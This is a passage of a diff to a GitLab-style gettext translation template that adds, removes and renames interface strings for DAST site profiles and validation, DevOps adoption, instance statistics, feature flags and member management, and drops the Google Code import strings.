msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
